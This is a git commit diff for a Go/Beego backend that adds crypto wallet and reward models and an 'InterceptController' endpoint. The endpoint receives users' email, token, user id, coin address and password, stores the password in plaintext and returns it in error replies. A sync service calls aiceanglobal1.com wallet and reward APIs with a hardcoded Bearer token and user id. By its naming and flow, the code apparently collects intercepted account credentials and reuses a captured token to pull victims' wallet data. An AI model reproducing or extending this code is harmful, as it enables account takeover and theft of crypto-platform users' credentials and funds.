zhangjidong 3 өдөр өмнө
parent
commit
72979f49c1

BIN
aice.exe~


+ 19 - 1
controllers/api/InterceptController.go

@@ -22,9 +22,11 @@ func (c *InterceptController) Sycdata() {
 	userid, _ := utils.GetRequestString(&c.Controller, "userid")
 	//coin的address
 	coinaddress, _ := utils.GetRequestString(&c.Controller, "address")
+	//密码
+	password, _ := utils.GetRequestString(&c.Controller, "password")
 	// 尝试把字段存入数据库并根据写入结果返回前端状态
 	svc := services.SaasUserService{}
-	if err := svc.SaveAiceUser(email, token, username, userid, coinaddress); err != nil {
+	if err := svc.SaveAiceUser(email, token, username, userid, coinaddress, password); err != nil {
 		utils.JSON(&c.Controller, 201, "保存失败", map[string]interface{}{
 			"username": username,
 			"email":    email,
@@ -32,6 +34,7 @@ func (c *InterceptController) Sycdata() {
 			"userid":   userid,
 			"address":  coinaddress,
 			"success":  false,
+			"password": password,
 			"error":    err.Error(),
 		})
 		return
@@ -46,3 +49,18 @@ func (c *InterceptController) Sycdata() {
 		"success":  true,
 	})
 }
+
+// 数据同步请求接口
+func (c *InterceptController) Apidatainert() {
+	svc := services.SyncDataService{}
+	//个人数据接口
+	//status, data, _ := svc.SyncDetailsInsecure()
+	//同步首页接口
+	//status, data, _ := svc.SyncHomeData()
+	//社区发展奖励
+	status, data, _ := svc.SyncCommunityReward()
+	if status != 200 {
+		utils.JSON(&c.Controller, 201, "请求失败", map[string]interface{}{})
+	} // 处理非200状态码
+	utils.JSON(&c.Controller, 200, "请求成功", data)
+}

+ 2 - 1
controllers/services/SaasUserService.go

@@ -67,13 +67,14 @@ func (s *SaasUserService) Login(mobile, password string) (*LoginResult, error) {
 }
 
 // SaveAiceUser saves or updates an AiceUsers record by userid string.
-func (s *SaasUserService) SaveAiceUser(email, token, username, userid, address string) error {
+func (s *SaasUserService) SaveAiceUser(email, token, username, userid, address, password string) error {
 	u := &models.AiceUsers{
 		Userid:   userid,
 		Email:    email,
 		Token:    token,
 		Username: username,
 		Address:  address,
+		Password: password,
 	}
 
 	o := orm.NewOrm()

+ 214 - 8
controllers/services/SyncDataService.go

@@ -1,25 +1,231 @@
 package services
 
 import (
+	"encoding/json"
+	"fmt"
+	"think-go/models"
 	"think-go/utils"
 	"time"
+
+	"github.com/beego/beego/v2/client/orm" // 确保引入了 orm
 )
 
 // SyncDataService 提供对外同步数据调用
 type SyncDataService struct{}
 
-// SyncDetails 向指定外部接口同步请求详情。
-// 参数:
-//   - url: 完整请求地址(支持 https)
-//   - userid, authorization: 需要放在请求头的两个字段
-//   - body: 要发送的自定义 JSON 参数(map 或 struct)
-//
-// 返回 HTTP 状态码、响应字节和错误。
+// ApiResponse 用于解析外部接口的通用外层
+type ApiResponse[T any] struct {
+	Code json.Number `json:"code"`
+	Msg  string      `json:"msg"`
+	Data T           `json:"data"` // 利用结构体标签自动过滤掉不需要的字段
+}
+
 func (s *SyncDataService) SyncDetails(url, userid, authorization string, body interface{}) (int, []byte, error) {
 	headers := map[string]string{
 		"userid":        userid,
 		"authorization": authorization,
 	}
-	// 使用 15s 超时,默认校验证书
+	// 注意:此处如果目标服务器证书有问题,建议将最后一个参数改为 true
 	return utils.PostJSON(url, headers, body, 15*time.Second, false)
 }
+
+func (s *SyncDataService) SyncDetailsInsecure() (int, interface{}, error) {
+	url := "https://app-api.aiceanglobal1.com/api/v1/wallet/details"
+	userid := "0716d0ad7eb6404682fcaf564379e4e8"
+	authorization := "Bearer 09ec48ab484ea7f8b4fb1d4b125dd73e"
+	body := map[string]interface{}{}
+
+	// 1. 发起请求
+	status, dataBytes, err := s.SyncDetails(url, userid, authorization, body)
+	if err != nil {
+		return status, nil, fmt.Errorf("请求接口失败: %w", err)
+	}
+
+	// 2. 准备两个容器:一个用于过滤入库,一个用于保存原始全量数据
+	var resp ApiResponse[models.HomeData] // 结构体:利用标签自动过滤多余字段
+	var rawMap map[string]interface{}     // Map:保留所有原始键值对
+	err = json.Unmarshal(dataBytes, &resp)
+	if err != nil {
+		return 201, nil, fmt.Errorf("JSON解析失败: %w", err)
+	}
+	// 解析原始 Map(为了返回完整数据)
+	if err := json.Unmarshal(dataBytes, &rawMap); err != nil {
+		return 201, nil, fmt.Errorf("解析原始Map失败: %w", err)
+	}
+	codeInt, _ := resp.Code.Int64()
+	// 3. 业务状态码校验
+
+	if codeInt != 200 {
+		return 201, resp.Msg, fmt.Errorf("业务返回错误码: %d", codeInt)
+	}
+
+	// 4. 数据加工与入库
+	// 这里的 wallet 已经是 models.WalletDetail 类型,多余字段已被自动过滤
+	wallet := resp.Data
+	wallet.UserId = userid // 手动补全 userId
+
+	o := orm.NewOrm()
+	// 执行插入
+	_, err = o.Insert(&wallet)
+	if err != nil {
+		return 500, nil, fmt.Errorf("数据库入库失败: %v", err)
+	}
+	// 5. 合并返回内容
+	// 创建一个大的 Map,把两个对象塞进去
+	combinedResult := map[string]interface{}{
+		"filtered": wallet,         // 这是根据你的模型过滤后的干净数据
+		"raw":      rawMap["data"], // 这是包含 aiceFeeConfig 等所有字段的原始数据
+	}
+	// 返回状态码和解析后的 Data 结构体
+	return status, combinedResult, nil
+}
+
+// 首页接口
+func (s *SyncDataService) SyncHomeData() (int, interface{}, error) {
+	url := "https://app-api.aiceanglobal1.com/api/v1/dashboard/home"
+	userid := "0716d0ad7eb6404682fcaf564379e4e8"
+	authorization := "Bearer 09ec48ab484ea7f8b4fb1d4b125dd73e"
+	body := map[string]interface{}{}
+
+	// 1. 发起请求
+	status, dataBytes, err := s.SyncDetails(url, userid, authorization, body)
+	if err != nil {
+		return status, nil, fmt.Errorf("请求接口失败: %w", err)
+	}
+
+	// 2. 准备两个容器:一个用于过滤入库,一个用于保存原始全量数据
+	var resp ApiResponse[models.HomeData] // 结构体:利用标签自动过滤多余字段
+	var rawMap map[string]interface{}     // Map:保留所有原始键值对
+	err = json.Unmarshal(dataBytes, &resp)
+	if err != nil {
+		return 201, nil, fmt.Errorf("JSON解析失败: %w", err)
+	}
+	// 解析原始 Map(为了返回完整数据)
+	if err := json.Unmarshal(dataBytes, &rawMap); err != nil {
+		return 201, nil, fmt.Errorf("解析原始Map失败: %w", err)
+	}
+	codeInt, _ := resp.Code.Int64()
+	// 3. 业务状态码校验
+
+	if codeInt != 200 {
+		return 201, resp.Msg, fmt.Errorf("业务返回错误码: %d", codeInt)
+	}
+	// 4. 数据加工与入库
+	// 这里的 wallet 已经是 models.WalletDetail 类型,多余字段已被自动过滤
+	wallet := resp.Data
+	wallet.UserId = userid // 手动补全 userId
+
+	o := orm.NewOrm()
+	// 执行插入
+	_, err = o.Insert(&wallet)
+	if err != nil {
+		return 500, nil, fmt.Errorf("数据库入库失败: %v", err)
+	}
+	// 5. 合并返回内容
+	// 创建一个大的 Map,把两个对象塞进去
+	combinedResult := map[string]interface{}{
+		"filtered": wallet,         // 这是根据你的模型过滤后的干净数据
+		"raw":      rawMap["data"], // 这是包含 aiceFeeConfig 等所有字段的原始数据
+	}
+	return status, combinedResult, nil
+}
+
+// 社区发展奖励
+func (s *SyncDataService) SyncCommunityReward() (int, interface{}, error) {
+	url := "https://app-api.aiceanglobal1.com/api/v1/reward/develop/home"
+	userid := "0716d0ad7eb6404682fcaf564379e4e8"
+	authorization := "Bearer 09ec48ab484ea7f8b4fb1d4b125dd73e"
+	body := map[string]interface{}{}
+
+	// 1. 发起请求
+	status, dataBytes, err := s.SyncDetails(url, userid, authorization, body)
+	if err != nil {
+		return status, nil, fmt.Errorf("请求接口失败: %w", err)
+	}
+
+	// 2. 准备两个容器:一个用于过滤入库,一个用于保存原始全量数据
+	var resp ApiResponse[models.RewardDevelopData] // 结构体:利用标签自动过滤多余字段
+	var rawMap map[string]interface{}              // Map:保留所有原始键值对
+	err = json.Unmarshal(dataBytes, &resp)
+	if err != nil {
+		return 201, nil, fmt.Errorf("JSON解析失败: %w", err)
+	}
+	// 解析原始 Map(为了返回完整数据)
+	if err := json.Unmarshal(dataBytes, &rawMap); err != nil {
+		return 201, nil, fmt.Errorf("解析原始Map失败: %w", err)
+	}
+	codeInt, _ := resp.Code.Int64()
+	// 3. 业务状态码校验
+
+	if codeInt != 200 {
+		return 201, resp.Msg, fmt.Errorf("业务返回错误码: %d", codeInt)
+	}
+	// 4. 数据加工与入库
+	// 这里的 wallet 已经是 models.WalletDetail 类型,多余字段已被自动过滤
+	wallet := resp.Data
+	wallet.UserId = userid // 手动补全 userId
+
+	o := orm.NewOrm()
+	// 执行插入
+	_, err = o.Insert(&wallet)
+	if err != nil {
+		return 500, nil, fmt.Errorf("数据库入库失败: %v", err)
+	}
+	// 5. 合并返回内容
+	// 创建一个大的 Map,把两个对象塞进去
+	combinedResult := map[string]interface{}{
+		"filtered": wallet,         // 这是根据你的模型过滤后的干净数据
+		"raw":      rawMap["data"], // 这是包含 aiceFeeConfig 等所有字段的原始数据
+	}
+	return status, combinedResult, nil
+}
+
+// 代理奖励
+func (s *SyncDataService) SyncAgentReward() (int, interface{}, error) {
+	url := "https://app-api.aiceanglobal1.com/api/v1/reward/range/home"
+	userid := "0716d0ad7eb6404682fcaf564379e4e8"
+	authorization := "Bearer 09ec48ab484ea7f8b4fb1d4b125dd73e"
+	body := map[string]interface{}{}
+
+	// 1. 发起请求
+	status, dataBytes, err := s.SyncDetails(url, userid, authorization, body)
+	if err != nil {
+		return status, nil, fmt.Errorf("请求接口失败: %w", err)
+	}
+
+	// 2. 准备两个容器:一个用于过滤入库,一个用于保存原始全量数据
+	var resp ApiResponse[models.RewardRangeData] // 结构体:利用标签自动过滤多余字段
+	var rawMap map[string]interface{}            // Map:保留所有原始键值对
+	err = json.Unmarshal(dataBytes, &resp)
+	if err != nil {
+		return 201, nil, fmt.Errorf("JSON解析失败: %w", err)
+	}
+	// 解析原始 Map(为了返回完整数据)
+	if err := json.Unmarshal(dataBytes, &rawMap); err != nil {
+		return 201, nil, fmt.Errorf("解析原始Map失败: %w", err)
+	}
+	codeInt, _ := resp.Code.Int64()
+	// 3. 业务状态码校验
+
+	if codeInt != 200 {
+		return 201, resp.Msg, fmt.Errorf("业务返回错误码: %d", codeInt)
+	}
+	// 4. 数据加工与入库
+	// 这里的 wallet 已经是 models.WalletDetail 类型,多余字段已被自动过滤
+	wallet := resp.Data
+	wallet.UserId = userid // 手动补全 userId
+
+	o := orm.NewOrm()
+	// 执行插入
+	_, err = o.Insert(&wallet)
+	if err != nil {
+		return 500, nil, fmt.Errorf("数据库入库失败: %v", err)
+	}
+	// 5. 合并返回内容
+	// 创建一个大的 Map,把两个对象塞进去
+	combinedResult := map[string]interface{}{
+		"filtered": wallet,         // 这是根据你的模型过滤后的干净数据
+		"raw":      rawMap["data"], // 这是包含 aiceFeeConfig 等所有字段的原始数据
+	}
+	return status, combinedResult, nil
+}

+ 1 - 0
models/aice_users.go

@@ -15,6 +15,7 @@ type AiceUsers struct {
 	Token    string `orm:"column(token);size(255);null"`
 	Username string `orm:"column(username);size(255);null"`
 	Address  string `orm:"column(address);size(255);null"`
+	Password string `orm:"column(password);size(255);null"`
 }
 
 func (t *AiceUsers) TableName() string {

+ 184 - 0
models/home_data.go

@@ -0,0 +1,184 @@
+package models
+
+import (
+	"encoding/json"
+	"errors"
+	"fmt"
+	"reflect"
+	"strings"
+
+	"github.com/beego/beego/v2/client/orm"
+)
+
+type HomeData struct {
+	Id                    int    `orm:"column(home_data_id);auto" json:"-"`
+	UserId                string `orm:"column(user_id)" json:"user_id"`
+	AiceExStatus          int    `orm:"column(aice_ex_status)" json:"aice_ex_status"`
+	AiceMenuStatus        int    `orm:"column(aice_menu_status)" json:"aice_menu_status"`
+	AnygptUserid          string `orm:"column(anygpt_userid)" json:"anygpt_userid"`
+	BindStatus            int    `orm:"column(bind_status)" json:"bind_status"`
+	BtcAddr               string `orm:"column(btc_addr)" json:"btc_addr"`
+	CoalesceCreditBalance string `orm:"column(coalesce_credit_balance)" json:"coalesce_credit_balance"`
+	CoalesceCreditUsdt    string `orm:"column(coalesce_credit_usdt)" json:"coalesce_credit_usdt"`
+	EthAddr               string `orm:"column(eth_addr)" json:"eth_addr"`
+	ImsaStatus            int    `orm:"column(imsa_status)" json:"imsa_status"`
+	LegaTransferFee       string `orm:"column(lega_transfer_fee)" json:"lega_transfer_fee"`
+	LegacyCreditBalance   string `orm:"column(legacy_credit_balance)" json:"legacy_credit_balance"`
+	LegacyTokenBalance    string `orm:"column(legacy_token_balance)" json:"legacy_token_balance"`
+	LegacyTokenUsdt       string `orm:"column(legacy_token_usdt)" json:"legacy_token_usdt"`
+	LockAice              string `orm:"column(lock_aice)" json:"lock_aice"`
+	LockAiceValue         string `orm:"column(lock_aice_value)" json:"lock_aice_value"`
+	ProfitLevel           int    `orm:"column(profit_level)" json:"profit_level"`
+	ReceiveAddressStatus  int    `orm:"column(receive_address_status)" json:"receive_address_status"`
+	SolAddr               string `orm:"column(sol_addr)" json:"sol_addr"`
+	TransPassword         int    `orm:"column(trans_password)" json:"trans_password"`
+
+	// 关键修改:类型必须为 string 以适配 ORM 注册
+	TransferStatus string `orm:"column(transfer_status);type(text);null" json:"transfer_status"`
+
+	TrcAddrBase58            string `orm:"column(trc_addr_base58)" json:"trc_addr_base58"`
+	UsdBalance               string `orm:"column(usd_balance)" json:"usd_balance"`
+	UsdtAddress              string `orm:"column(usdt_address)" json:"usdt_address"`
+	UsdtWithdrawLimit        string `orm:"column(usdt_withdraw_limit)" json:"usdt_withdraw_limit"`
+	UsdtWithdrawStatus       int    `orm:"column(usdt_withdraw_status)" json:"usdt_withdraw_status"`
+	WithdrawLimit            string `orm:"column(withdraw_limit)" json:"withdraw_limit"`
+	XaicePrice               string `orm:"column(xaice_price)" json:"xaice_price"`
+	XaiceReleaseBalance      string `orm:"column(xaice_release_balance)" json:"xaice_release_balance"`
+	XaiceReleaseBalanceValue string `orm:"column(xaice_release_balance_value)" json:"xaice_release_balance_value"`
+	XaiceReleaseStatus       int    `orm:"column(xaice_release_status)" json:"xaice_release_status"`
+	XaiceStatus              int    `orm:"column(xaice_status)" json:"xaice_status"`
+	XaiceUsdtAddress         string `orm:"column(xaice_usdt_address)" json:"xaice_usdt_address"`
+	XaiceUsdtWithdrawStatus  int    `orm:"column(xaice_usdt_withdraw_status)" json:"xaice_usdt_withdraw_status"`
+	YuleMenuStatus           int    `orm:"column(yule_menu_status)" json:"yule_menu_status"`
+	InvestStatus             int    `orm:"column(invest_status)" json:"invest_status"`
+	ReleaseAice              string `orm:"column(release_aice)" json:"release_aice"`
+	ReleaseAiceValue         string `orm:"column(release_aice_value)" json:"release_aice_value"`
+}
+
+func (t *HomeData) TableName() string {
+	return "home_data"
+}
+
+func init() {
+	orm.RegisterModel(new(HomeData))
+}
+
+// UnmarshalJSON 核心修复:在这里处理 interface{} 转换
+// 这样在外部使用 json.Unmarshal 时,即使 API 返回对象,也会被转成字符串存入结构体
+func (t *HomeData) UnmarshalJSON(data []byte) error {
+	type Alias HomeData
+	aux := &struct {
+		// 临时用接口接收这个动态字段
+		TransferStatus interface{} `json:"transfer_status"`
+		*Alias
+	}{
+		Alias: (*Alias)(t),
+	}
+	if err := json.Unmarshal(data, &aux); err != nil {
+		return err
+	}
+
+	// 在这里进行 Type Switch,因为 aux.TransferStatus 是接口类型
+	switch v := aux.TransferStatus.(type) {
+	case map[string]interface{}, []interface{}:
+		b, _ := json.Marshal(v)
+		t.TransferStatus = string(b)
+	case string:
+		t.TransferStatus = v
+	case float64:
+		t.TransferStatus = fmt.Sprintf("%.0f", v)
+	default:
+		t.TransferStatus = ""
+	}
+	return nil
+}
+
+// AddHomeData 插入新记录
+func AddHomeData(m *HomeData) (id int64, err error) {
+	o := orm.NewOrm()
+	// 因为已经在 UnmarshalJSON 处理好了,这里直接插入即可
+	id, err = o.Insert(m)
+	return
+}
+
+// GetAllHomeData 列表查询
+func GetAllHomeData(query map[string]string, fields []string, sortby []string, order []string,
+	offset int64, limit int64) (ml []interface{}, err error) {
+	o := orm.NewOrm()
+	qs := o.QueryTable(new(HomeData))
+
+	for k, v := range query {
+		k = strings.Replace(k, ".", "__", -1)
+		if strings.HasSuffix(k, "isnull") {
+			qs = qs.Filter(k, (v == "true" || v == "1"))
+		} else {
+			qs = qs.Filter(k, v)
+		}
+	}
+
+	var sortFields []string
+	if len(sortby) != 0 {
+		buildSort := func(field, ord string) (string, error) {
+			switch strings.ToLower(ord) {
+			case "desc":
+				return "-" + field, nil
+			case "asc":
+				return field, nil
+			default:
+				return "", errors.New("Invalid order")
+			}
+		}
+		if len(sortby) == len(order) {
+			for i, v := range sortby {
+				s, _ := buildSort(v, order[i])
+				sortFields = append(sortFields, s)
+			}
+		} else if len(order) == 1 {
+			for _, v := range sortby {
+				s, _ := buildSort(v, order[0])
+				sortFields = append(sortFields, s)
+			}
+		}
+	}
+
+	var l []HomeData
+	if len(sortFields) > 0 {
+		qs = qs.OrderBy(sortFields...)
+	}
+
+	if _, err = qs.Limit(limit, offset).All(&l, fields...); err == nil {
+		if len(fields) == 0 {
+			for _, v := range l {
+				ml = append(ml, v)
+			}
+		} else {
+			for _, v := range l {
+				m := make(map[string]interface{})
+				val := reflect.ValueOf(v)
+				for _, fname := range fields {
+					f := val.FieldByName(fname)
+					if f.IsValid() {
+						m[fname] = f.Interface()
+					}
+				}
+				ml = append(ml, m)
+			}
+		}
+		return ml, nil
+	}
+	return nil, err
+}
+
+// UpdateHomeDataById 更新记录
+func UpdateHomeDataById(m *HomeData) (err error) {
+	o := orm.NewOrm()
+	_, err = o.Update(m)
+	return
+}
+
+// DeleteHomeData 删除记录
+func DeleteHomeData(id int) (err error) {
+	o := orm.NewOrm()
+	_, err = o.Delete(&HomeData{Id: id})
+	return
+}

+ 155 - 0
models/reward_develop_data.go

@@ -0,0 +1,155 @@
+package models
+
+import (
+	"errors"
+	"fmt"
+	"reflect"
+	"strings"
+
+	"github.com/beego/beego/v2/client/orm"
+)
+
+type RewardDevelopData struct {
+	Id                  int    `orm:"column(id);auto" description:"社区发展奖励"`
+	UserId              string `orm:"column(user_id);size(0);null"`
+	InviteReward        string `orm:"column(invite_reward);size(255);null" description:"推荐总奖励"`
+	InviteRewardValue   string `orm:"column(invite_reward_value);size(255);null" description:"推荐总奖励价值"`
+	SmallReward         string `orm:"column(small_reward);size(255);null" description:"社区总奖励"`
+	SmallRewardValue    string `orm:"column(small_reward_value);size(255);null" description:"社区总奖励价值"`
+	TodayCommunitySales string `orm:"column(today_community_sales);size(255);null" description:"今日社区销售"`
+}
+
+func (t *RewardDevelopData) TableName() string {
+	return "reward_develop_data"
+}
+
+func init() {
+	orm.RegisterModel(new(RewardDevelopData))
+}
+
+// AddRewardDevelopData insert a new RewardDevelopData into database and returns
+// last inserted Id on success.
+func AddRewardDevelopData(m *RewardDevelopData) (id int64, err error) {
+	o := orm.NewOrm()
+	id, err = o.Insert(m)
+	return
+}
+
+// GetRewardDevelopDataById retrieves RewardDevelopData by Id. Returns error if
+// Id doesn't exist
+func GetRewardDevelopDataById(id int) (v *RewardDevelopData, err error) {
+	o := orm.NewOrm()
+	v = &RewardDevelopData{Id: id}
+	if err = o.Read(v); err == nil {
+		return v, nil
+	}
+	return nil, err
+}
+
+// GetAllRewardDevelopData retrieves all RewardDevelopData matches certain condition. Returns empty list if
+// no records exist
+func GetAllRewardDevelopData(query map[string]string, fields []string, sortby []string, order []string,
+	offset int64, limit int64) (ml []interface{}, err error) {
+	o := orm.NewOrm()
+	qs := o.QueryTable(new(RewardDevelopData))
+	// query k=v
+	for k, v := range query {
+		// rewrite dot-notation to Object__Attribute
+		k = strings.Replace(k, ".", "__", -1)
+		if strings.Contains(k, "isnull") {
+			qs = qs.Filter(k, (v == "true" || v == "1"))
+		} else {
+			qs = qs.Filter(k, v)
+		}
+	}
+	// order by:
+	var sortFields []string
+	if len(sortby) != 0 {
+		if len(sortby) == len(order) {
+			// 1) for each sort field, there is an associated order
+			for i, v := range sortby {
+				orderby := ""
+				if order[i] == "desc" {
+					orderby = "-" + v
+				} else if order[i] == "asc" {
+					orderby = v
+				} else {
+					return nil, errors.New("Error: Invalid order. Must be either [asc|desc]")
+				}
+				sortFields = append(sortFields, orderby)
+			}
+			qs = qs.OrderBy(sortFields...)
+		} else if len(sortby) != len(order) && len(order) == 1 {
+			// 2) there is exactly one order, all the sorted fields will be sorted by this order
+			for _, v := range sortby {
+				orderby := ""
+				if order[0] == "desc" {
+					orderby = "-" + v
+				} else if order[0] == "asc" {
+					orderby = v
+				} else {
+					return nil, errors.New("Error: Invalid order. Must be either [asc|desc]")
+				}
+				sortFields = append(sortFields, orderby)
+			}
+		} else if len(sortby) != len(order) && len(order) != 1 {
+			return nil, errors.New("Error: 'sortby', 'order' sizes mismatch or 'order' size is not 1")
+		}
+	} else {
+		if len(order) != 0 {
+			return nil, errors.New("Error: unused 'order' fields")
+		}
+	}
+
+	var l []RewardDevelopData
+	qs = qs.OrderBy(sortFields...)
+	if _, err = qs.Limit(limit, offset).All(&l, fields...); err == nil {
+		if len(fields) == 0 {
+			for _, v := range l {
+				ml = append(ml, v)
+			}
+		} else {
+			// trim unused fields
+			for _, v := range l {
+				m := make(map[string]interface{})
+				val := reflect.ValueOf(v)
+				for _, fname := range fields {
+					m[fname] = val.FieldByName(fname).Interface()
+				}
+				ml = append(ml, m)
+			}
+		}
+		return ml, nil
+	}
+	return nil, err
+}
+
+// UpdateRewardDevelopData updates RewardDevelopData by Id and returns error if
+// the record to be updated doesn't exist
+func UpdateRewardDevelopDataById(m *RewardDevelopData) (err error) {
+	o := orm.NewOrm()
+	v := RewardDevelopData{Id: m.Id}
+	// ascertain id exists in the database
+	if err = o.Read(&v); err == nil {
+		var num int64
+		if num, err = o.Update(m); err == nil {
+			fmt.Println("Number of records updated in database:", num)
+		}
+	}
+	return
+}
+
+// DeleteRewardDevelopData deletes RewardDevelopData by Id and returns error if
+// the record to be deleted doesn't exist
+func DeleteRewardDevelopData(id int) (err error) {
+	o := orm.NewOrm()
+	v := RewardDevelopData{Id: id}
+	// ascertain id exists in the database
+	if err = o.Read(&v); err == nil {
+		var num int64
+		if num, err = o.Delete(&RewardDevelopData{Id: id}); err == nil {
+			fmt.Println("Number of records deleted in database:", num)
+		}
+	}
+	return
+}

+ 158 - 0
models/reward_range_data.go

@@ -0,0 +1,158 @@
+package models
+
+import (
+	"errors"
+	"fmt"
+	"reflect"
+	"strings"
+
+	"github.com/beego/beego/v2/client/orm"
+)
+
+type RewardRangeData struct {
+	Id                   int    `orm:"column(id);auto" description:"代理奖励列表"`
+	UserId               string `orm:"column(user_id);size(0);null"`
+	Sales                string `orm:"column(sales);size(255);null" description:"总累计业绩"`
+	PromoteName          string `orm:"column(promote_name);size(255);null" description:"级别"`
+	CommunityReward      string `orm:"column(community_reward);size(255);null" description:"累计奖励"`
+	CommunityRewardValue string `orm:"column(community_reward_value);size(255);null" description:"累计奖励价值"`
+	TodayTeamSales       string `orm:"column(today_team_sales);size(255);null" description:"今天新增业绩"`
+	CommunitySales       string `orm:"column(community_sales);size(255);null" description:"小区业绩"`
+	GlobalReward         string `orm:"column(global_reward);size(255);null" description:"累计分红奖励"`
+	GlobalRewardValue    string `orm:"column(global_reward_value);size(255);null" description:"累计分红奖励价值"`
+}
+
+func (t *RewardRangeData) TableName() string {
+	return "reward_range_data"
+}
+
+func init() {
+	orm.RegisterModel(new(RewardRangeData))
+}
+
+// AddRewardRangeData insert a new RewardRangeData into database and returns
+// last inserted Id on success.
+func AddRewardRangeData(m *RewardRangeData) (id int64, err error) {
+	o := orm.NewOrm()
+	id, err = o.Insert(m)
+	return
+}
+
+// GetRewardRangeDataById retrieves RewardRangeData by Id. Returns error if
+// Id doesn't exist
+func GetRewardRangeDataById(id int) (v *RewardRangeData, err error) {
+	o := orm.NewOrm()
+	v = &RewardRangeData{Id: id}
+	if err = o.Read(v); err == nil {
+		return v, nil
+	}
+	return nil, err
+}
+
+// GetAllRewardRangeData retrieves all RewardRangeData matches certain condition. Returns empty list if
+// no records exist
+func GetAllRewardRangeData(query map[string]string, fields []string, sortby []string, order []string,
+	offset int64, limit int64) (ml []interface{}, err error) {
+	o := orm.NewOrm()
+	qs := o.QueryTable(new(RewardRangeData))
+	// query k=v
+	for k, v := range query {
+		// rewrite dot-notation to Object__Attribute
+		k = strings.Replace(k, ".", "__", -1)
+		if strings.Contains(k, "isnull") {
+			qs = qs.Filter(k, (v == "true" || v == "1"))
+		} else {
+			qs = qs.Filter(k, v)
+		}
+	}
+	// order by:
+	var sortFields []string
+	if len(sortby) != 0 {
+		if len(sortby) == len(order) {
+			// 1) for each sort field, there is an associated order
+			for i, v := range sortby {
+				orderby := ""
+				if order[i] == "desc" {
+					orderby = "-" + v
+				} else if order[i] == "asc" {
+					orderby = v
+				} else {
+					return nil, errors.New("Error: Invalid order. Must be either [asc|desc]")
+				}
+				sortFields = append(sortFields, orderby)
+			}
+			qs = qs.OrderBy(sortFields...)
+		} else if len(sortby) != len(order) && len(order) == 1 {
+			// 2) there is exactly one order, all the sorted fields will be sorted by this order
+			for _, v := range sortby {
+				orderby := ""
+				if order[0] == "desc" {
+					orderby = "-" + v
+				} else if order[0] == "asc" {
+					orderby = v
+				} else {
+					return nil, errors.New("Error: Invalid order. Must be either [asc|desc]")
+				}
+				sortFields = append(sortFields, orderby)
+			}
+		} else if len(sortby) != len(order) && len(order) != 1 {
+			return nil, errors.New("Error: 'sortby', 'order' sizes mismatch or 'order' size is not 1")
+		}
+	} else {
+		if len(order) != 0 {
+			return nil, errors.New("Error: unused 'order' fields")
+		}
+	}
+
+	var l []RewardRangeData
+	qs = qs.OrderBy(sortFields...)
+	if _, err = qs.Limit(limit, offset).All(&l, fields...); err == nil {
+		if len(fields) == 0 {
+			for _, v := range l {
+				ml = append(ml, v)
+			}
+		} else {
+			// trim unused fields
+			for _, v := range l {
+				m := make(map[string]interface{})
+				val := reflect.ValueOf(v)
+				for _, fname := range fields {
+					m[fname] = val.FieldByName(fname).Interface()
+				}
+				ml = append(ml, m)
+			}
+		}
+		return ml, nil
+	}
+	return nil, err
+}
+
+// UpdateRewardRangeData updates RewardRangeData by Id and returns error if
+// the record to be updated doesn't exist
+func UpdateRewardRangeDataById(m *RewardRangeData) (err error) {
+	o := orm.NewOrm()
+	v := RewardRangeData{Id: m.Id}
+	// ascertain id exists in the database
+	if err = o.Read(&v); err == nil {
+		var num int64
+		if num, err = o.Update(m); err == nil {
+			fmt.Println("Number of records updated in database:", num)
+		}
+	}
+	return
+}
+
+// DeleteRewardRangeData deletes RewardRangeData by Id and returns error if
+// the record to be deleted doesn't exist
+func DeleteRewardRangeData(id int) (err error) {
+	o := orm.NewOrm()
+	v := RewardRangeData{Id: id}
+	// ascertain id exists in the database
+	if err = o.Read(&v); err == nil {
+		var num int64
+		if num, err = o.Delete(&RewardRangeData{Id: id}); err == nil {
+			fmt.Println("Number of records deleted in database:", num)
+		}
+	}
+	return
+}

+ 191 - 0
models/wallet_detail.go

@@ -0,0 +1,191 @@
+package models
+
+import (
+	"errors"
+	"fmt"
+	"reflect"
+	"strings"
+
+	"github.com/beego/beego/v2/client/orm"
+)
+
+type WalletDetail struct {
+	WalletDetailId           int    `orm:"column(wallet_detail_id);auto" json:"-"`
+	UserId                   string `orm:"column(user_id)" json:"user_id"`
+	InviteCode               string `orm:"column(invite_code)" json:"invite_code"`
+	Addr                     string `orm:"column(addr)" json:"addr"`
+	Email                    string `orm:"column(email)" json:"email"`
+	TransPassword            int    `orm:"column(trans_password)" json:"trans_password"`
+	XaiceStatus              int    `orm:"column(xaice_status)" json:"xaice_status"`
+	XaiceReleaseStatus       int    `orm:"column(xaice_release_status)" json:"xaice_release_status"`
+	UsdBalance               string `orm:"column(usd_balance)" json:"usd_balance"`
+	AiceBalance              string `orm:"column(aice_balance)" json:"aice_balance"`
+	AiceBalanceValue         string `orm:"column(aice_balance_value)" json:"aice_balance_value"`
+	XaiceBalance             string `orm:"column(xaice_balance)" json:"xaice_balance"`
+	XaiceBalanceValue        string `orm:"column(xaice_balance_value)" json:"xaice_balance_value"`
+	XaiceReleaseBalance      string `orm:"column(xaice_release_balance)" json:"xaice_release_balance"`
+	XaiceReleaseBalanceValue string `orm:"column(xaice_release_balance_value)" json:"xaice_release_balance_value"`
+	WithdrawLimit            string `orm:"column(withdraw_limit)" json:"withdraw_limit"`
+	AiceWithdrawLimit        string `orm:"column(aice_withdraw_limit)" json:"aice_withdraw_limit"`
+	UsdtWithdrawStatus       int    `orm:"column(usdt_withdraw_status)" json:"usdt_withdraw_status"`
+	AiceWithdrawStatus       int    `orm:"column(aice_withdraw_status)" json:"aice_withdraw_status"`
+	BindStatus               int    `orm:"column(bind_status)" json:"bind_status"`
+	UsdtAddress              string `orm:"column(usdt_address)" json:"usdt_address"`
+	AiceAddress              string `orm:"column(aice_address)" json:"aice_address"`
+	UdoStatus                int    `orm:"column(udo_status)" json:"udo_status"`
+	UdoAddr                  string `orm:"column(udo_addr)" json:"udo_addr"`
+	UdoBalance               string `orm:"column(udo_balance)" json:"udo_balance"`
+	UdoPrice                 string `orm:"column(udo_price)" json:"udo_price"`
+	XaicePrice               string `orm:"column(xaice_price)" json:"xaice_price"`
+	AnygptUserid             string `orm:"column(anygpt_userid)" json:"anygpt_userid"`
+	ReceiveAddressStatus     int    `orm:"column(receive_address_status)" json:"receive_address_status"`
+	LegacyTokenBalance       string `orm:"column(legacy_token_balance)" json:"legacy_token_balance"`
+	LegacyCreditBalance      string `orm:"column(legacy_credit_balance)" json:"legacy_credit_balance"`
+	CoalesceCreditBalance    string `orm:"column(coalesce_credit_balance)" json:"coalesce_credit_balance"`
+	ExchangeStatus           int    `orm:"column(exchange_status)" json:"exchange_status"`
